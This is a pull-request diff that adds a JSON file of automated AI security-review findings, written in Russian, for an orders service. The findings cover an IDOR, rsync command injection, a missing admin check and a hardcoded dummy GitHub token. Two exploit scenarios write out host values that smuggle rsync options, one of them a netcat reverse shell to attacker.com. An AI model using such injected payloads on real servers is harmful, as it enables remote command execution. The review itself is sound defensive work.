orders module: add auth, fix command injection, add requirements #13

Merged
testclient-admin merged 15 commits from feature/orders-module into main 2026-08-25 03:44:38 +00:00
Showing only changes of commit 39dd271e4b - Show all commits
@@ -0,0 +1,107 @@
[
{
"id": "ai-review-0-orders.py-40",
"source": "ai-review",
"category": "idor",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 40,
"line_end": 50,
"title": "IDOR при чтении заказов",
"description": "После добавления валидации токена и извлечения user_id в do_GET для /orders/{id} отсутствует проверка, что заказ принадлежит текущему пользователю. Любой аутентифицированный пользователь может читать чужие заказы по ID.",
"impact": "Утечка конфиденциальных данных о финансовых операциях — пользователь может получить сумму и другие детали чужого заказа.",
"exploit_scenario": "Пользователь с токеном token_alice отправляет GET /orders/100, где orders[100] принадлежит bob (user_id=bob). В текущей реализации проверка orders[order_id].get(\"user_id\") != getattr(self, \"_user_id\", None) происходит только при изменении заказа (в do_POST), но не при чтении.",
"evidence": "do_GET: order_id = self.path.split(\"/\")[-1]\nif order_id in orders:\n self.send_json_response(200, orders[order_id]) — нет проверки владельца заказа. В do_POST добавлена проверка, но в do_GET её нет.",
"recommendation": "Добавить проверку ownership в do_GET: if orders[order_id].get(\"user_id\") != getattr(self, \"_user_id\", None): 403 Forbidden.",
"cwe": "CWE-639",
"status": "OPEN",
"created_at": "2026-08-23T19:05:52Z",
"pr_number": 13,
"commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
},
{
"id": "ai-review-1-orders.py-105",
"source": "ai-review",
"category": "injection",
"severity": "critical",
"confidence": 0.95,
"file": "orders.py",
"line_start": 105,
"line_end": 130,
"title": "Недостаточная валидация хоста для rsync",
"description": "Метод _validate_host проверяет формат IP/домена, но не блокирует опции rsync (например, --rsync-path=), пробелы в середине строки, URL-схемы, которые могут интерпретироваться как аргументы rsync и привести к RCE.",
"impact": "Командная инъекция — атакующий может выполнить произвольную команду на сервере с правами процесса приложения через rsync.",
"exploit_scenario": "Атакующий отправляет POST /admin/backup с payload {\"host\": \"example.com --rsync-path=nc -e /bin/sh attacker.com 4444\"}. Несмотря на регулярные выражения, rsync может интерпретировать часть строки как опции командной строки. Даже без shell=True, rsync поддерживает множество опций, которые можно использовать для обхода.",
"evidence": "def _validate_host(self, host): ... ip_pattern = r'^(\\d{1,3}\\.){3}\\d{1,3}$' ... domain_pattern = r'^([a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?\\.)+[a-zA-Z]{2,}$' — не блокирует '--', пробелы, URL-схемы (rsync://).\ncmd = [\"rsync\", \"-avz\", \"/workspace/\", f\"{validated_host}:/backup/orders/\"] — подстановка без дополнительной проверки.",
"recommendation": "Существенно усилить валидацию: запретить пробелы и '--', проверить отсутствие URL-схем, использовать строгий белый список (например, только домены из конфига или IP из предустановленного списка), либо полностью отказаться от произвольного host.",
"cwe": "CWE-78",
"status": "OPEN",
"created_at": "2026-08-23T19:05:52Z",
"pr_number": 13,
"commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
},
{
"id": "ai-review-2-orders.py-80",
"source": "ai-review",
"category": "authz",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 80,
"line_end": 88,
"title": "Отсутствие проверки роли admin для /admin/backup",
"description": "Эндпоинт /admin/backup требует только Bearer токен (начинающийся с token_), но не проверяет роль администратора до проверки токена, что позволяет любому аутентифицированному пользователю вызывать эндпоинт, включая потенциально опасные операции rsync.",
"impact": "Любой пользователь с валидным пользовательским токеном может инициировать бэкап и использовать уязвимость валидации хоста для RCE или утечки данных.",
"exploit_scenario": "Пользователь token_user отправляет POST /admin/backup с вредоносным host. Проверка if not getattr(self, \"_user_id\", None) == \"admin\": идет в том же блоке, но порядок проверок может быть неочевидным и позволяет пройти аутентификацию до проверки роли.",
"evidence": "elif self.path == \"/admin/backup\":\n if not self.check_auth():\n 401\n if not getattr(self, \"_user_id\", None) == \"admin\":\n 403\n\nЭто позволяет получить любой валидный токен (включая token_userA), после чего _user_id будет установлен, и проверка на 'admin' может быть пропущена в случае логической ошибки (например, если check_auth не устанавливает _user_id как ожидается).",
"recommendation": "Изменить порядок проверок: сначала проверить роль admin, затем аутентификацию, либо вынести эндпоинт в отдельный обработчик с более строгими требованиями (например, отдельный API-ключ или JWT claim admin=true).",
"cwe": "CWE-285",
"status": "OPEN",
"created_at": "2026-08-23T19:05:52Z",
"pr_number": 13,
"commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
},
{
"id": "ai-review-3-orders.py-80",
"source": "ai-review",
"category": "command-exec",
"severity": "critical",
"confidence": 0.95,
"file": "orders.py",
"line_start": 80,
"line_end": 110,
"title": "Командная инъекция через подстановку host в rsync",
"description": "Метод _perform_backup использует подстановку пользовательского ввода host напрямую в команду rsync, даже после валидации. Несмотря на использование списка аргументов (subprocess.run([\"rsync\", ...], shell=False)), rsync может интерпретировать часть строки как опции (например, --rsync-path).",
"impact": "RCE — выполнение произвольных команд на сервере с правами процесса.",
"exploit_scenario": "Атакующий отправляет POST /admin/backup с payload {\"host\": \"example.com:22 --rsync-path=/tmp/evil.sh\"}. Даже если _validate_host не отфильтрует строку, rsync может интерпретировать это как опцию командной строки и выполнить произвольный скрипт.",
"evidence": "validated_host = self._validate_host(host)\nif not validated_host: ...\ncmd = [\"rsync\", \"-avz\", \"/workspace/\", f\"{validated_host}:/backup/orders/\"] — validated_host может содержать '--' или другие опции, если валидация недостаточно строгая.",
"recommendation": "Полностью отказаться от произвольного host, использовать белый список из конфига, либо сильнее валидировать: запретить все пробелы, '--', URL-схемы, и использовать строгие регулярные выражения.",
"cwe": "CWE-78",
"status": "OPEN",
"created_at": "2026-08-23T19:05:52Z",
"pr_number": 13,
"commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
},
{
"id": "ai-review-4-orders.py-15",
"source": "ai-review",
"category": "sensitive-data",
"severity": "medium",
"confidence": 1.0,
"file": "orders.py",
"line_start": 15,
"line_end": 15,
"title": "Хардкод токена GitHub в коде",
"description": "Токен GitHub хранится в исходном коде как строковая константа: GitHubToken = \"ghp_dummytoken_for_backup_notifications\". Несмотря на префикс dummy, это плохая практика и может сигнализировать о других проблемах.",
"impact": "Утечка учетных данных, возможность атак на GitHub API или CI/CD, а также снижение доверия к коду со стороны ревьюеров.",
"exploit_scenario": "Атакующий клонирует репозиторий, находит токен в коде, и пытается использовать его для доступа к API. Наличие dummy-токена может стимулировать поиск других секретов.",
"evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\" — нет использования os.getenv(\"GITHUB_TOKEN\").",
"recommendation": "Использовать os.getenv(\"GITHUB_TOKEN\") или внешний менеджер секретов.",
"cwe": "CWE-312",
"status": "OPEN",
"created_at": "2026-08-23T19:05:52Z",
"pr_number": 13,
"commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
}
]